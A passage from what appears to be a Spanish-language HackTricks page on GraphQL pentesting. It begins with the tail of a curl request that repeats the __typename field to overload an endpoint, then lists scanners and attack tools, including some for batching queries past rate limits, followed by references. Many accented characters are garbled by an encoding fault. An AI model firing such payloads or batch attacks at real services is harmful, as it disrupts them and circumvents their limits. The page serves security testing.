\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
Herramientas
Esc谩neres de vulnerabilidades
- https://github.com/dolevf/graphql-cop: Prueba configuraciones incorrectas comunes de endpoints graphql
- https://github.com/assetnote/batchql: Script de auditor铆a de seguridad de GraphQL con un enfoque en realizar consultas y mutaciones de GraphQL por lotes.
- https://github.com/dolevf/graphw00f: Identificar el graphql que se est谩 utilizando
- https://github.com/gsmith257-cyber/GraphCrawler: Conjunto de herramientas que se puede usar para obtener esquemas y buscar datos sensibles, probar autorizaci贸n, forzar esquemas y encontrar rutas a un tipo dado.
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html: Se puede usar como independiente o extensi贸n de Burp.
- https://github.com/swisskyrepo/GraphQLmap: Tambi茅n se puede usar como cliente CLI para automatizar ataques
- https://gitlab.com/dee-see/graphql-path-enum: Herramienta que lista las diferentes formas de alcanzar un tipo dado en un esquema GraphQL.
- https://github.com/doyensec/GQLSpection: El sucesor de los modos independiente y CLI de InQL
- https://github.com/doyensec/inql: Extensi贸n de Burp para pruebas avanzadas de GraphQL. El Esc谩ner es el n煤cleo de InQL v5.0, donde puedes analizar un endpoint de GraphQL o un archivo de esquema de introspecci贸n local. Genera autom谩ticamente todas las posibles consultas y mutaciones, organiz谩ndolas en una vista estructurada para tu an谩lisis. El componente Atacante te permite ejecutar ataques por lotes de GraphQL, lo que puede ser 煤til para eludir l铆mites de tasa mal implementados.
- https://github.com/nikitastupin/clairvoyance: Intenta obtener el esquema incluso con la introspecci贸n deshabilitada utilizando la ayuda de algunas bases de datos Graphql que sugerir谩n los nombres de mutaciones y par谩metros.
Clientes
- https://github.com/graphql/graphiql: Cliente GUI
- https://altair.sirmuel.design/: Cliente GUI
Pruebas Autom谩ticas
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
- Video explicando AutoGraphQL: https://www.youtube.com/watch?v=JJmufWfVvyU
Referencias
- https://jondow.eu/practical-graphql-attack-vectors/
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
- http://ghostlulz.com/api-hacking-graphql/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://portswigger.net/web-security/graphql
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.